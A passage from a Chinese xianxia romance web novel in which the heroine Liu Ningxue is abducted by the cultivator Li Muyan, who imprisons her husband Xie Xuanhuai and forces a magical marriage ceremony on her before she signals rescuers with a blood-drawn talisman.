等他们来到马场时,那里已经来了不少人了,柳凝雪下了马车便左右张望着,这种时候江荨和林月明应该会来,她来到这里交的朋友不多,能找的只有她们二人了。
正看着,人群中忽然有人喊了她一声,“柳凝雪!”
柳凝雪转头看去,便见林月明提着裙摆向自己跑了过来,柳凝雪也欣喜至极,刚想和她来个双向奔赴,却发现谢玄淮牵自己牵得紧。
谢玄淮顺着她目光看去,自然也看到了林月明,他面无表情地看着向他们走来的人,林月明站定后,扫了他一眼,随即便将注意力全放柳凝雪身上了。
“我还以为你不会来了呢,我盼星星盼月亮终于把你给盼来了,自那次一别后,我都快担心死了。”
林月明说着拉起了她的手,正想拉走她,便见谢玄淮面无神色地盯着她看,她面上笑容一僵,看谢玄淮的眼神也多了几分不满。
跟着林月明过来的还有江若宁,柳凝雪一脸讪讪地笑了下,随后硬是挣脱了谢玄淮的手,跟着林月明走了。
这时,江若宁来到谢玄淮身边对他说:“谢世子,你终于来了,圣上找你好久了,快和我去见圣上吧。”
谢玄淮扫了他一眼,面色沉沉地“嗯”了声。
赛马的规则很简单,就是每人骑一匹马,谁的马先跑过了终点线谁就要赢了,谢玄淮被圣上强制着上场比。
柳凝雪和林月明坐在观赏位置最好的地方,准备开始时,她们将目光齐齐放到了场中比赛的人身上,其中就有谢玄淮。
他换了一身紧身的红衣,束手束腰,长发高高扎起绒绑了个马尾,红色的发带迎风招展着,柳凝雪凝神一看,那不是用来!!!
她脸上噌地涨红了一片,羞耻地想要找个地洞钻进去,今天出来没仔细看他衣着,谁能想到他会变态到如斯地步,她还以为这发带他早丢了。
柳凝雪羞愧地握紧了拳头,她能认出是因为发带上有一角已经变得深红,仔细一看就能看出,且看谢玄淮绑马尾的样子,估计这还是他特意露出来的。
她呼了一口气,不断地用手给自己扇风降热,还好别人不知道这是怎么弄出来的。
柳凝雪忙移开视线,她感到喉口干燥,想要端起茶盏喝一口,可一看到这晃动的水面,她就不禁想到他手上缠着那条红色发带深入肌理的场景……
“啪”的一下,柳凝雪重重地将茶杯一放,那缠过她手脚,覆过她眼睛的发带,此刻正系在少年发上肆意张扬。
林月明被她这动静吓了一跳,转过头去看她,见她面色潮红,忙问道:“柳凝雪,你怎么了?脸色怎么这么红,像熟了一样,你发烧了?”
柳凝雪用手揉了两把脸,说:“没,没有,你多虑了。”
“我去小解。”她说。
随即,不等林月明反应,她就起身走了,林月明神色疑惑地看着她的背影,她总觉得柳凝雪有些变了,刚见面时,少女的眉眼还是青涩坚韧的,自那次一别再见后,她的面容就多了几温婉柔和,少了几分青涩懵懂。
林月明左思右想也想不出个所以然来,干脆不去想了。
柳凝雪确实是去小解的,小解完后,她并没有急着回到座上,而是到周边吹了下风,让自己清醒些,和谢玄淮厮混的那一个多月,她也懂了不少,见识了不少,这让她重新认识了人的极限,但谢玄淮似乎是没有极限,他每天都能不重样。
山谷清风吹动她的发梢,扫过她还残留些许痕迹的锁骨,激起一阵麻痒,她莫名地又幻视少年散着长发在她身上铺散开的样子。
她双手推着他的肩头,低声说:“痒。”
他便撑起身来,拿过放置在床头的发带,在她两侧跪起,双手梳起长发,咬着红艳的发带……
柳凝雪猛地一顿,反应过来自己正在想什么的时候,脸色又红出了一个高度,她用力地拍了拍自己的脸,心里道:“柳凝雪!!!你到底在想什么啊?!”
莫非是排卵期又到了?女子一旦到了排卵期就莫名地极想要做。
柳凝雪给自己一通梳理,又给自己打了一剂强心剂,表示正示自身生理需求,女人想男人很正常。
心理安慰过后,柳凝雪正想往回走,忽然有一个小厮走了过来,对她说:“世子妃,谢世子让小的来请世子妃过去一趟。”
“什么?”柳凝雪疑惑地看着他。
小厮低眉顺眼的,俯下头弯着腰,柳凝雪看不清他的神情,她问道:“世子叫我去做什么?”
小厮道:“小的哪敢过问世子的事啊。”
柳凝雪想了会儿,道:“不去,让他自己来请我。”
主要是她不能原谅谢玄淮对她做的一切,他不是爱粘着她吗?给他个机会,让他自己来找她。
小厮万没想到会这么发展,他一时哑口无言,犹豫了一阵,又说:“世子妃不去的话,小的也不好交待啊,还请世子妃不要为难小的啊。”
柳凝雪看了他片刻,虽然她对谢玄淮的行为感到恼怒,但她也不想刻意去为难别人,便道:“好吧。”
小厮松了一口气,紧跟着便带着柳凝雪走了,“世子妃,这边请。”
柳凝雪跟着这位小厮走了,周边空无一人,有的只是风吹树林的沙沙声,静谧无比,她打量了一下前方的人,看着极为面生,在谢玄淮身边她并没有见过。
越想越不对劲,她
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猛地停下了脚步,一言不发地拔脚就往回跑,管他对的错的,先跑了再说。
那小厮没料到会如此,也不打算装下去了,直接亮出锃亮的匕首,举刀向柳凝雪刺去,柳凝雪跑得再快也不及他学武的飞得快。
眼见就要回到营地了,可入眼却是倒了一地的卫兵,柳凝雪想要尖叫着喊出声来,措手不及身后有人用手把她的口鼻一捂,他手上似乎沾了药粉,吸入口鼻后,柳凝雪立即失去动静倒了下去。
——
两场赛马的第一名都是谢玄淮,烈日下他面色因剧烈运动而泛起薄红,鬓边汗水淋漓,眉眼尽是意气风发的少年朝气,他策马回营,先去沐浴更衣洗去一身汗味才去找柳凝雪。
可当他来到林月明那边时,看到的却是慌乱无措,紧皱着眉神色着急的侍从,他眉心一跳,心道不好,伸手抓了一位侍从,沉声问:“出什么事了?柳凝雪呢?”
侍从被他阴沉的脸色吓到了,一时双腿打颤,哆嗦着声音说:“世子……世子妃不见了,郡主已经差人去找了。”
谢玄淮蓦地拽紧了他衣领,冷声道:“你说什么?!柳凝雪不见了?!”
他咬牙切齿地看着这位侍从,眯起的眼眸泛起一阵杀意,“她是怎么不见的?”
侍从道:“世子妃和郡主说要去小解,后面就一直没回来,等郡主去找时就看到一堆晕倒的卫兵,他们到现在还没醒。”
谢玄淮握成拳的手一点点地收紧,紧到能听到骨头因此而发出的脆声,他一把扔开侍从,快步走去翻身上马,心里焦急慌乱却是无论如何也不能安静且保持理智。
他后悔了,他无论如何也不应该答应带她出来赛马,若是她出了事……
谢玄淮咬紧了牙关,手上握紧了缰绳,疯一般地策马闯入林中。
柳凝雪觉得自己倒霉至极,她就早该想到这上京想要害她的人就是李慕言,除了他这个死变态找不出第二个人了。
她双手双脚被人绑住背靠在大树上,李慕言在她周身熟练地布下万杀阵,布完阵后,他站到她面前,笑吟吟地看着她,不紧不慢地道:“这个万杀阵是在下专门为谢世子而准备的,柳姑娘以为如何?”
柳凝雪面无表情地说:“……不如何。”
李慕言站在不远处,一双眼睛直直地看着她,似要将她看透底,柳凝雪不惊不惧地迎上他的目光,一双眸子干净明亮。
李慕言轻声道:“柳姑娘猜,谢世子是否会来找你?”
这句话柳凝雪没听过万遍,也听过千遍了,各大小说剧情用惯的台词,她回答:“当然会啊。”
以他偏执的性格,不来才怪。
李慕言:“……”
他沉默一阵,说:“柳姑娘还是如此优默,在下甚喜。”
有病。
柳凝雪在心里骂了他一句,随即又听李慕言微笑道:“那在下便在一旁等候世子前来。”
临近夜晚,天气干燥炎热,蚊虫也多了起来,万杀阵杀人不杀虫,柳凝露手上脖子上都被叮出了好几个包,痒得她难受至极。
她扭了扭身体想赶走这些蚊虫,突然一把长剑破空疾速朝她飞来,擦着她的发梢钉在了她身后的树上,柳凝雪被这狠戾的剑气惊得一跳,而后定睛一看,便认出了这把剑,灭邪,谢玄淮的佩剑,能破除一切幻境,它轻易不出鞘,一出鞘必是会引起乱杀的现象。
剑钉在树上一会儿,忽然发出一声铮鸣,旋即脱离树身,又飞回谢玄淮手上。
谢玄淮精准地握着飞回来的剑柄,看到柳凝雪时,冷沉的眉眼溢出一丝激动,但很快又被他压下去,他说:“对不起,是我的错。”
65. 水牢
柳凝雪被突然到来的道歉搞得一愣,她抿了抿唇,不知道该说什么,等谢玄淮又靠一步时,她忙喊道:“停!这里有阵法,是万杀阵。”
“万杀阵?”谢玄淮停下了脚步。
这时,李慕言从一旁出来,微笑说:“好久不见,谢世子。”
谢玄淮侧眸扫了他一眼,李慕言继续道:“这万杀阵一旦开启便一定要有生灵祭阵,否则阵法不灭,不出一个时辰,它就会将柳姑娘吞杀,不知谢世子也愿和柳姑娘一命换一命呢?”
谢玄淮冷笑一声,说:“何须一命换一命,你不就是最好的祭阵品吗?”
说着,谢玄淮便已拨剑朝李慕言刺了过去,李慕言面色不改,一个闪身后撤躲过他的长剑,两枚铜板从谢玄淮眼前晃过,又回归李慕言手中。
铜板悬浮其掌心之上,散发着幽幽的蓝光,而第三枚铜板若隐若现,随即,他掌心一覆将三枚铜板一收一放,铜板浮于眼前,他说道:“两仪生四象,四象生八卦,第一卦·少阴·离卦·青龙。”
话落,谢玄淮左边凭空窜出一条青龙法象,它体型庞大,可顶天立地,周身散发着阵阵青色灵气,它仰头长吼一声,直向谢玄淮扑去。
谢玄淮提剑闪身往一旁躲去,李慕言召青龙对付他,摆明想要置他于死地,青龙攻势强劲不颓,谢玄淮胜在体型过小,身形灵活,躲过致命的攻击。
李慕言将铜板收起,五指在虚空一握,抽出一把长剑直刺谢玄淮面门。
谢玄淮以长剑作当,过了几个回合,来来回回,两人速度之快,俱形如鬼魅,半空中的残影触及即分,只听耳边长剑相交的铿锵声不停作响。
谢玄淮脱离李慕言的缠打,用手在虚空中疾速画出一道符咒,他出身符术一道,修炼高于一定程度可凭空画符,就好比如李慕言以卦象召青龙。
待他画毕,李慕言又一剑挥上来,直取他项上人头,他一时不察,忙挥剑作挡,却还是被砍到了肩处,李慕言一剑压下,他奋力抵挡,眼看着青龙以势不可挡之态攻过来了,柳凝雪心脏顿时提到了嗓子眼。
就在这时,半空中一道血红符纹亮起并迅速扩大,谢玄淮口中一动,道:“镇魂咒,破!”
符咒立即打在了青龙身上,两道强劲的灵力相撞,搅起一阵强风与周边灵力震散开来,李慕言召的青龙无实体只魂灵,以相同修为的镇魂咒即可破除。
李慕言不紧不慢道:“我竟不知谢世子的修为竟到了此地步。”
他忽然想到了什么,扫了下首的柳凝雪一眼,慢声道:“难不成……”
谢玄淮眉眼微压,直瞪着他不放,李慕言说:“异世之人,复灵之血,阴阳交合,修为大增。”
李慕言说着又用力往下一压,冷声道:“可是你根本炼化不了她渡给你的阴灵之力。”
“你炼的术法多且杂,正邪皆有所及,她的灵力至纯至阴至强,因你术法杂糅,灵力不能专一而导致混乱,更有邪气相冲,所以你在交合的时候也很痛苦吧?”
李慕言笑道:“只有我才配与她双修,你根本也不能炼化她给你的灵力。”
谢玄淮咬着牙死死抵挡着,方才的符是他强行画下的,耗费了他不少灵力,现在已是强驽之未了。
远方隐隐有动静传来,江荨和沈如珩带着人正往这边过来,刚才的灵力波动惊忧了他们,现在正要来一探究竟。
李慕言往后退一步拉开两人距离,等江荨几人过来的时候,现场却已了无人迹。
阵法余威还在,江荨四处探查了一下,说:“不像是邪崇。”
辛婷仪走到她身边,道:“什么邪崇,这根本就是人为,邪崇可不会有这么强且纯的灵力。”
江荨蹙眉道:“那会是谁?”
辛婷仪不语,她静静观察着这些阵法,探寻着它们的气息,心中隐隐有了个猜测,但又不确定。
她说:“还不确定。”
江荨听到她这句话,便知十有八九是那人无疑了。
辛婷仪道:“先去回禀陛下。”
话落,正要走,她忽然又停下脚步问江荨说:“对了,李监长呢?”
……
柳凝雪醒来时,已经离开了赛场,一睁眼又是熟悉的青色帐帘和房间布局,她知道自己又被李慕言囚禁在别院了。
李慕言人前一幅面孔,人后又是一幅面孔,加之他又是前钦天监监长的徒弟,信服他的人不在少数,柳凝雪感觉对付他棘手至极。
她醒来的第一时间就是检查自身,什么事都没有,衣服还是那身,见此,她顿时松了口气,可下一刻,她却怔住了,脑袋空白了一片,她的玉佩呢?
她面上一时慌乱不已,双手不断地摸索着身上,却一点东西都没摸出来,除了衣服还在,身上的所有东西都不见了。
柳凝雪迫使自己镇静下来,下床走了出去,外屋里果见李慕言端坐在那里喝茶。
“我的玉佩呢!”她出声质问道。
李慕言眼眸微抬,随即他抬手五指一张,一枚青绿的玉佩瞬间自他掌心往下垂落,悬在空中。
“我知道它对你很重要,过来坐。”他说。
柳凝雪身形不动,问他:“谢玄淮呢?”
“坐。”他机械般重复着这句话。
柳凝雪一咬牙,转身要往外走,身后却突然传来李慕言的声音道:“你若踏出这里一步,我就碎了这枚玉佩。”
话落,柳凝雪竟真的往屋外踏出了一步,然后她就听到一声清脆的玉碎之音,“砰——”
晶莹的玉佩在李慕言手中彻底碎裂开来,碎玉从他手中滑落,掉到地上发出“当当”声响。
柳凝雪脚步一顿,她僵着身体如机械般一怔一怔地转过身去,便见地上的散落的碎玉和粉末。
然而柳凝雪只是看了他一眼,便径直离去,她知道李慕言将谢玄淮关在地牢里,来到地牢后,她诧异地发现地牢的门没关,就好像是等着她过来一样。
柳凝雪停在了地牢前,身后传来李慕言幽幽的声音,道:“怎么不进去了?柳姑娘。”
他吐字清晰,嗓音犹如击冰碎玉,又轻又缓,他离她靠得近,从远处看就好像情人间的低语。
柳凝雪握紧了拳头,所以他是知道她醒来后会找谢玄淮,大开着牢门,但还是碎了她的玉,一点点地击破她的内心,斩断和她有关的联系。
柳凝雪只觉通身冰冷
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,她回首冷目看了李慕言一眼,他还是那张温和却拒人于千里之外的脸,脸上带着微微笑意在看她。
她别过脸,走下了楼梯,直往地牢深处而去,然而等待着她的却是谢玄淮被铁链缚住两手腕,吊在水中的场景。
浑水浑浊,柳凝雪站在岸上都能感受到水中的冰寒之气,更勿论身在水中,她忙奔过去跪倒在谢玄淮面前,双手捧起他的脸,喊道:“谢玄淮!”
谢玄淮听到声音勉力抬起沉重的眼皮去看她,柳凝雪眸中含着星星点点的泪光,却强忍着不让它落下。
谢玄淮虚弱地说:“别哭……”
李慕言慢步走到柳凝雪身边,垂眸居高临下地看着谢玄淮,此时的他说是丧家之犬也不为过。
柳凝雪忍下了眼泪,站起身来,问李慕言道:“说吧,你让我来到这里不会是善心大发让我来看谢玄淮,你有什么条件。”
李慕言看向她,说:“柳姑娘聪慧。”
他缓声道:“很简单,与我成婚。”
柳凝雪藏在袖下的拳握紧了,看他的目光带着恨意,如果目光可以变成利剑,李慕言早已死了千百回。
柳凝雪动了动嘴唇,厉声拒绝道:“我已为人妻,你……”
下一秒,她却说不出话来了,只见一根红线从他手下探下缠上了她的小拇指,控制着她的一言一行,柳凝雪面色一变,道:“你什么时候下的咒?!”
李慕言自然不会告诉她,柳凝雪只能猜,是刚才在牢门前的楼梯上他靠近她的时候。
这时,李慕言淡声道:“不是和,是一定要。”
“你为阴,我为阳,天地为证,你是我的妾,柳凝雪。”
他想过了,她的身份太过低微,暂不配为他的妻,所以当他的妾更合适。
他语气平缓,不见一丝起伏,轻声说道:“现在,一拜天地。”
昔日情真意切的夫妻,现在妻子却当着现任丈夫的面,和别的男子成婚,李慕言就是要如此折辱他们二人,这样会让他心底生出一丝快意。
柳凝雪如提线木偶般跟着他说的动作动起来,即使她心里生出极强的抗拒心理,可修为不及李慕言高深,自然挣脱不得。
两人转过身,朝着外面,背对着谢玄淮,一拜天地。
“二拜高堂。”
接着又是朝外一拜。
“夫妻对拜。”
两人转过身,面对着面,正要拜下时,一道急促的喊声突然传来,说:“不好了!不好了!!公子公子!辛监长说现在见不到公子你,就破了别院的阵法,强闯别院!”
届时他囚禁柳凝雪和谢玄淮一事就会被她所发觉,李慕言闻言未动,脑海里闪过他们亲热的画面,固执地想要和柳凝雪夫妻对拜。
“砰——!!”
一声巨响打断了他的动作,李慕言少见的面色一沉,脸色一点点地冷了下来,对柳凝雪道:“等我。”
随即拂袖而去,辛婷仪抱着剑带着沈如珩和江荨正在强闯阵法,她对守门的小厮道:“让你们家监长出来,否则我踏平别院。”
正说话时,李慕言温和的声音从旁强行插·入,道:“辛监长要踏平谁的别院?”
66. 福气
辛婷仪看向来人,道:“一时口快,还请李监长不要怪罪,你也知道昨日谢世子和世子妃失踪,陛下现在都还在担忧着,恰巧昨日我寻查时发现有邪崇进了李监长的别院。”
“所以今日前来别院一探,还请李监长莫要怪罪。”
李慕言说:“我的别院我最清楚不过,无须辛监长担忧,请回吧。”
辛婷仪却说:“欸,话可不能这么说,陛下既给了我们司灵监职权,那我们司灵监也当担起这份责任,李监长这番百般阻挠,莫非真有邪崇藏于府中不成?”
辛婷仪语气深长,意有所指,李慕言面色不变,道:“辛监长慎言,若要查案,随意便是。”
说完,李慕言便转身走了,辛婷仪朝身后的两人看了一眼,道:“走吧。”
——
地牢里,李慕言出去后门又重新关上,只余一束不知道从哪射进来的光,柳凝雪面朝着门处力歇般瘫坐在地上,这控制的术法很消耗她的体力。
正怔愣着,腰上忽然环来一手,将她紧紧抱住了,谢玄淮将冰凉侧脸贴在她的背上,感受着她身上暖和的温度。
“柳凝雪,我们生个孩子好吗?”他突然低声说。
听到这句话,柳凝雪真想一巴掌把他扇醒,都什么时候了还要孩子?!
谢玄淮闷闷地说:“我估计活不久了。”
柳凝雪身体一僵,张着嘴说不出话来,他知道自己命将终矣,可他又不甘心,倘若他死后她再嫁给别人怎么办?她把他忘了怎么办?
他想着将她抱得更紧了,他沉默了良久,又说:“我们不要孩子了。”我们一起死吧。
他在心里默念后半句,他知道她不会跟他走的,可他就是想让她永远不离开他身边,起初,他以为孩子能绊住她,困住她,后来他想她这样人是不会在意的,况且还有封余休那种贱人在世。
所以,他只能想出让她陪他一起死这个办法了,只有这样她才会陪着自己永远。
柳凝雪一搞不懂白谢玄淮是怎么想的,一会这样一会那样,反复无常,他是不是疯了,可转念一想,他不本来就是疯的吗?
谢玄淮紧紧地搂着她,但在死前他还有一件事要做。
“凝雪,帮我做一件事情好吗?”
柳凝雪回过身来,问他:“什么事?”
她低下头去让谢玄淮附在她耳边说话,等他交待完后,柳凝雪说:“好,我知道了。”
她直起腰来,双手捧起他的脸,好凉啊,她想,左右这里也只有他们两个人。
柳凝雪伸手去解开自己的腰带,整齐交叠的衣领散开,露出她如雪般的股肤,她将谢玄淮的脸按在自己怀里,问他:“现在好点了吗?”
少女的肌肤是温热的,他脸和鼻尖冰凉,触及她肌肤的那一刻,她身体不禁颤了一下。
他忽然又不想杀她了,好烦,为什么杀意这么快淡下去了。
这时,柳凝雪听到系统的声音说:【谢玄淮好感度加百分之二。】
柳凝雪搂着他的脖颈,将下巴搁在他的发上,谢玄淮静静地一动不动,鼻尖处充斥着少女清淡的体香,是他的味道。
在倚竹院那一个多月里,她与他同吃同住,一起沐浴,用他常用的香膏,习惯他的味道,到最后她身上原本的淡香被他的香气所取代,全身上下彻底散发着一股和他相同的香味。
她整个人都是他的。
他迷恋地闭起眼睛,贪婪地享受着这转瞬即逝的温暖。
突然,地牢上面响起了一阵剑鸣声,柳凝雪一惊,忙抬头往上看去,她松开谢玄淮整理好衣赏,凝神听了片刻,而后欣喜道:“是邀月剑!”
每把剑的剑鸣都不同,柳凝雪对邀月剑的剑鸣音很熟悉,很快就认出了。
地面上,江荨和辛婷仪到此处会合,这里是一个偏殿,也是她们所察觉的邪崇气息最浓处。
江荨望着轻微颤动的邀月剑,道:“师姐,应该就是这里了。”
辛婷仪望着自己手上的这把剑,剑是她向林月明借的,她也真的有意查邪崇,她看着眼前紧闭的殿门,道:“里面是什么?这门关得这么紧。”
说着,她上前就要推开殿门,不料旁边突然横来一手按在了门上,冷声道:“辛监长这是作何?查案怎么查到在下的寝屋来了?”
辛婷仪偏头迎上李慕言冰冷的目光,说:“抱歉李监长,你知道的,邀月剑一向对邪崇极为敏感,且不会出错,这个偏殿我们要看一下,还请李监长见谅。”
“邪崇?”李慕言轻声道,“我怎不知我住的寝屋里有邪崇呢?若真有邪崇,我自会认真处理,辛监长不觉得自己的手伸太长了吗?小心使得万年船。”
辛婷仪打量了他几眼,笑道:“是我唐突了,来日定亲自上门请罪。”
柳凝雪在地牢下等着,却迟迟不见一丝异动传来,反倒出奇的平静,她眉梢轻轻蹙起,按理说不该如何,以江荨的能力来看,很快就能找到线索摸过来,更何况她身边还有个辛婷仪,虽然她没见过辛婷仪,但从书上也看过她实力极强,可是很奇怪,她打不过李慕言。
她思索,伸手摸了摸身上,却什么也摸不到,尖锐的东西一概没有,四下扫了眼,也不见一把利器。
她犹豫了一下,将手指伸进嘴里一咬,鲜红的血液沿着她的指尖滑下,地牢里不知道被李慕言用什么方法镇压住的邪崇顷刻间爆动起来,但它们被阵法压制着,冲不破防制。
柳凝雪手指下垂,血滴滴落到地面上,下一秒,邀月剑突然急剧震动起来,它震动的幅度之大好像要从辛婷仪的手掌震飞出去。
辛婷仪猛地转身面对着李慕言,李慕言心下也惊讶,但脸上还维持着温和有礼但疏远的样子,藏在袖下的手却极力施法震压。
“李监长?”辛婷仪意味深长地看着他。
李慕言停下施法的手,说:“最近确有邪崇潜入府中,不过已经被在下及时解决了,辛监长,请回吧。”
他语气态度强硬,摆明不欲再让她们二人多留,辛婷仪点了点头,说:“好。”
现在还不是他们撕破脸的
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最好时机,辛婷仪低头看了一眼邀月剑,邀月剑果不再动了,她微微蹙了蹙眉,与江荨一同出了别院。
柳凝雪看着还在滴血的指尖,忙撕下一块小布包裹住伤口,粗粗止住了血。
左右已经让辛婷仪她们起疑了,李慕言暴露是迟早的事。
又在地牢里待了片刻之后,地牢的门被人打开了,李慕言从外面走了进来,顺着光芒走进黑暗中。
柳凝雪后退一步,站在谢玄淮身前,李慕言停在最后一级阶梯上,伸出手对她说:“给你个机会,现在跟我走。”
柳凝雪定了定心神,眼眸微微一转,笑道:“好。”
谢玄淮泡在水里,低垂着无神的眉眼,听到她的话,他眉梢一动,抬眸望向她,似是有些不可置信。
只见柳凝雪当真走向了李慕言,连头也不回,谢玄淮就像是被人拿着刀一刀一刀地凌迟着,痛得他难以呼吸,尽管他克制着自己不去想,可紧拽着铁链的两手还是出卖了他。
“砰——”
地牢的门再次合上,地下又重归黑暗。
柳凝雪被带回了原本的房间里,李慕言命人给她处理了伤口,又命侍女过来服饰她沐浴。
她将自己泡在水中深呼吸了一口气,心脏还是在不停地砰砰乱跳,李慕言似乎很迫不及待,难道是自己放血引邪崇乱动的事刺激到了他?
柳凝雪感觉自己的脑袋头痛要炸开,在地牢里待了半天,吸入了不少寒气,寒气侵体,难受得紧,她将自己完全沉入热水中,可还是感觉身体是冷的。
起身穿好衣服后,她就觉头重脚轻,身体疲惫,没走几步就晕倒了。
侍女见状,慌忙地喊着:“姑娘,柳姑娘!”
柳凝雪醒来时已经睡到床上了,睁开朦朦胧胧的眼睛,映入眼帘的便是李慕言的脸,他坐在自己的床边,手中端着一碗药,他一勺一勺地搅拌着,让药变凉些,再舀起一勺递到她唇边喂她。
柳凝雪没过多拒绝就喝了,重病在身,不喝药难道等死吗?
李慕言似乎对她的顺从感到颇为讶异,新奇般又一勺药喂到柳凝雪嘴边,柳凝雪照旧喝了,两人就这样持续到一碗药喝尽。
喝完后,李慕言温柔地替她掩了掩被,柔声道:“太医说,你寒气入体,需要静养几日,好好休息,我去处理奏折。”
话落,他又坐着看了她一会儿才离去,柳凝雪忍着一阵咳嗽,等他走了才大声咳起来,新鲜的空气不断涌入,胸口的郁闷也少了许多。
这时,有一侍女进来,她边收拾床边的药碗,边道:“公子对姑娘可真好,奴还未曾见过公子对哪位姑娘这般上心过。”
柳凝雪:“……”
她将被子拉到鼻子处,恰好盖住了她的耳朵,侍女还在自顾自的喋喋不休,道:“姑娘屋里的用品都是府上最好,最贵的,就连宫里的娘娘也不一定有姑娘这福气!”
柳凝雪沉默着将被子拉过了头顶,心里道:“这幅气给你要不要?”
侍女:“……”
……………
67. 九神官将首
侍女见她无欲与自己攀谈,脸色讪讪地退了下去,柳凝雪在床上躺了一阵,等侍女走尽后,她立即从床上爬了起来。
拖着病体,她来到了外屋,外屋空空如也,这里也没有人,很好。
柳凝雪想,她按照谢玄淮的指示立即开始行动起来,往左走了数步停下,然后蹲下身开始画符。
谢玄淮教给她的符咒并没有很难,简单几笔过后便完成了,且也不容易被人发现,她手上没沾墨,在地上空写,旁人看来只会觉得她是在乱写乱画,就算看出她别有意图,也猜不到她画的什么。
这里写完,又往东走数步蹲下写,她身体原本就病着,现在又穿着单薄的衣服光脚下地,到傍晚时,她好不容易好了一点的病又烧起来了。
侍女慌忙找太医来看,柳凝雪迷迷糊糊地睡到半夜又醒了过来,她伸手摸了摸还发着温热的脑袋,简直痛得要炸开。
好在谢玄淮让她做的事,她完成了,想到此处,柳凝雪又安心地躺着了。
没过多久又睡了过去,凌晨时又发了一次热,又折腾了很久才睡下。
柳凝雪就这样反反复复病了六七天,之所以病六七天,她也不好再故意将搞生病了,李慕言已经对她起了疑心,不过好在她病好不久,便是杨扶意的大婚,李慕言作为钦天监监长,在受邀之列,又是主持,他不得不去。
当日,李慕言换了一身暗红的衣服便出门了,柳凝雪站在廊下思索许久,身边跟着一个面容冷淡的侍女,是李慕言说她体弱多病,安排一个侍女照顾她,但其实是为了方便监视她。
柳凝雪迎着风,轻咳了两声,侍女便道:“姑娘还是回屋吧,莫要受凉了。”
柳凝雪点了点头,原本她还想趁李慕言走的时候去地牢里看一下谢玄淮,但身后的人却难以摆脱,她只听李慕言的话,性格偏执,除了李慕言,什么招数都不管用。
柳凝雪回到屋中静坐着,侍女在一旁紧紧盯着她,不离开她身边半步,她这般看着,柳凝雪也不好去找谢玄淮了。
柳凝雪试着去找一下话题,说:“你家住哪里的?是哪里人?”
侍女垂眸在一旁不说话,没有要回答她的意思,柳凝雪讪讪笑了两声,好吧,找话题失败。
——
杨扶意的成婚对象是清河崔氏,且是宗室嫡子,婚礼宴席不可谓不大,也只有这样高贵的身份才请得起钦天监监长当主封了。
扶意院里张灯结彩,红红火火的一片,无处不逢喜,丫鬟婆子俱是喜上眉梢,脸上的笑意怎么压都压不下来。
杨扶意穿着一身红衣喜服站在无人的回廊下,一双清亮透底的眸子眼含愁绪地望着远处,神色淡淡瞧不见一丝喜意。
贴身侍女翠喜走到她身边,面容也同杨扶意一般带着愁容,甚至多了几分愠怒和不喜,她忿忿不平,说:“那崔家嫡子身娇体弱,病得连床都下不来,就连接亲还是他的弟弟代劳,别人都说他活不过今年了,小姐嫁过去可要受苦了。”
说完,翠喜又恨恨道:“什么喜事?我看不如直接办丧事得了。”
“翠喜!”杨扶意秀眉蹙起,喊了她一声。
翠喜自知口出无状,也闭起了嘴。
杨扶意道:“我既嫁给进崔家,便是崔家妇了,以后说话做事都需慎之又慎。”
杨家门第虽然不低,但与崔家相比还是不足,她此行算是高嫁,翠喜自小同她一起长大,被她宠惯了,也不知祸从口出,以后她随着她到崔家,少不了要吃一番苦。
翠喜将头压得低低的,她自知理亏,也不多说了,杨扶意望着她的模样,无奈叹气道:“你下去吧。”
翠喜领命退了下去,杨扶意又独自在廊下站了一会儿,想明白后,正想动身离去,结果腿一动脚底心就传来一阵刺痛感,她站得太久,脚站麻了。
她忍着痛意,扶着柱子缓和一下,忽然身后伸来一双手,径直将她打横抱了起来。
杨扶意一惊,慌乱之下忙双手搂住了来人的脖颈,熟悉的体香传来,她愣了一下,才抬头看向来人。
“阿荨?”杨扶意又惊又疑,心底随即浮起一股异样的感觉。
江荨冷着脸不语,她拿剑的手贴着杨扶意的手臂,将她抱回了屋中。
杨扶意坐下后,江荨又给她揉了揉腿,温声问她:“怎么样?好些了吗?”
随着她的手按摩来去,杨扶意感觉脚上酸麻少了很多,她道:“好多了。”
话落,两人一时相对无言,江荨沉默地站在一旁望着屋外,杨扶意抬头看了看她的背影,起身走了出去,江荨见此,也跟着她出去了。
屋外的院中栽了棵梨花树,不过梨花花期已过,树上的梨花将要落尽了。
良久,江荨才皱着眉开声问她,“你真的嫁给他吗?”
“以你的修为和学识,不该只困于后院,你前途开阔,只要勤奋修为,未必就不会胜过我师姐,你当真甘心被困于后宅之中吗?”
面对江荨的声声质问,杨扶意沉默了片刻,半晌,她回眸朝她扬起浅浅一笑,道:“阿荨,放手吧。”
江荨一怔,愣愣看了她一会儿,垂眸道:“你心里明白便好。”
就在这时,有婆子过来对杨扶意道:“崔家的轿子过来了,小姐该出去了。”
杨扶意点头,跟着婆子进屋戴凤冠,执团扇,再让侍女扶着她出门。
梨花点点,落到江荨肩上,她看着她被人扶着出嫁,父母之命,媒妁之言,凭她又怎能以一人之力抗横整个杨氏宗族呢。
——
柳凝雪在屋里坐着无聊,又到外面逛了几下,这期间那位侍女都紧跟着她不放,无论她去哪里,她都像一块狗皮膏药一样粘着她不放。
柳凝雪有时也会嫌她一直跟着她,但侍女总是不为所动,她对她道:“你这一直跟着我也不是个办法啊,我去小解你总不能也一直跟着我吧?”
侍女不语,但她的表情却已经说明了一切,柳凝雪气道:“我要小解!”
侍女跟着去了厕屋,柳凝雪站在厕屋门前,对她说:“你总不能跟着我一起进去吧?”
侍女的脸色犯了难,她道:“还请姑娘速去速回。”
柳凝雪不停她说完,便进了厕屋里,她扫了周围一眼,这里的厕屋不常用,倒还干净,她松了口气,至少还下得去手。
自她住进这里,一切尖锐的东西都被李慕言收了去,但还好牙齿还在她口中,柳凝雪将指头伸进嘴里狠心一咬,将指头咬破后,对准了空白墙面,在上面乱画着。
画完后,柳凝雪看着墙面上血红的符咒,吐了一口气,想道:“希望有用。”
以血画符,符咒威力比原本的还要强上千百倍,柳凝雪凝神催动符咒,不出片刻,她就见血红的符咒亮起了光芒,成了!
她心里不禁雀跃,她记住了原本的传信符符纹,再结合之前谢玄淮以血画咒的威力,她试着画了一下,没想到竟然成功了。
方才转了一圈,她已经将自己的所在处和谢玄淮的所在处摸了个七七八八,只要将信息传出去,江荨应该很容易就能找到她。
柳凝雪将得到的信息传了出去,远在杨府的江荨很快就收到了,在收到消息的第一刻,她就通知了辛婷仪,辛婷仪给她回话,道:“动手。”
江荨得到命令的同时,沈如珩也收到了,他站在杨府前院,拿着一把剑,一身素白,清淡的眉眼扫过在场的众人,与周围的吵闹格格不入。
